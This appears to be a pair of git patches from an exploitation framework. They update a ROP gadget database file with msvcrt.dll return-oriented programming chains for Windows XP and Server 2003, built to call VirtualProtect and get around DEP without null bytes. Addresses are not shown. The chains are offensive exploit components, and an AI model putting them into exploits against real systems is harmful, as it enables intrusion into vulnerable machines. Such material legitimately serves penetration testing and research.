From 14d99ffbdba4a60d2e070551ee1d54cff2af23d6 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 1 Oct 2013 15:00:43 -0500 Subject: [PATCH 1/2] Update Win XP msvcrt.dll ROP This updated ROP chain for msvcrt.dll does not have any null bytes. --- data/ropdb/msvcrt.xml | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml index 13b85cedec..0ed43d06c0 100644 --- a/data/ropdb/msvcrt.xml +++ b/data/ropdb/msvcrt.xml @@ -7,12 +7,21 @@ + POP EAX # RETN + 0xFFFFFBFF -> ebx + NEG EAX # POP EBP # RETN + JUNK + POP EBX # RETN + Writable location + XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN + POP EDX # RETN + 0xFFFFFFC0-> edx + XCHG EAX, EDX # RETN + NEG EAX # POP EBX # RETN + JUNK + XCHG EAX, EDX # RETN POP EBP # RETN skip 4 bytes - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx POP ECX # RETN Writable location POP EDI # RETN From cd1f023f72e874d6dc371f29e5f9e7c044d22908 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 1 Oct 2013 16:18:57 -0500 Subject: [PATCH 2/2] Update msvcrt.dll ROP chain for Windows Server 2003 --- data/ropdb/msvcrt.xml | 36 +++++++++++++++++++++--------------- 1 file changed, 21 insertions(+), 15 deletions(-) diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml index 0ed43d06c0..177767e9c0 100644 --- a/data/ropdb/msvcrt.xml +++ b/data/ropdb/msvcrt.xml @@ -42,23 +42,29 @@ - POP EAX # RETN - ptr to VirtualProtect() + POP EAX # RETN + VirtualProtect() MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - Filler + JUNK XCHG EAX,ESI # RETN - POP EBP # RETN - PUSH ESP # RETN - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP EAX # RETN - nop + POP EBP # RETN + ptr to 'push esp # ret' + POP EAX # RETN + EAX + SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) + POP EBX, RET + .data + XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN + POP ECX # RETN + W pointer (lpOldProtect) (-> ecx) + POP EDI # RETN + ROP NOP (-> edi) + POP EAX # RETN + EAX + SUB EAX, 03c0940f + XCHG EAX,EDX # RETN + POP EAX # RETN + NOP PUSHAD # ADD AL,0EF # RETN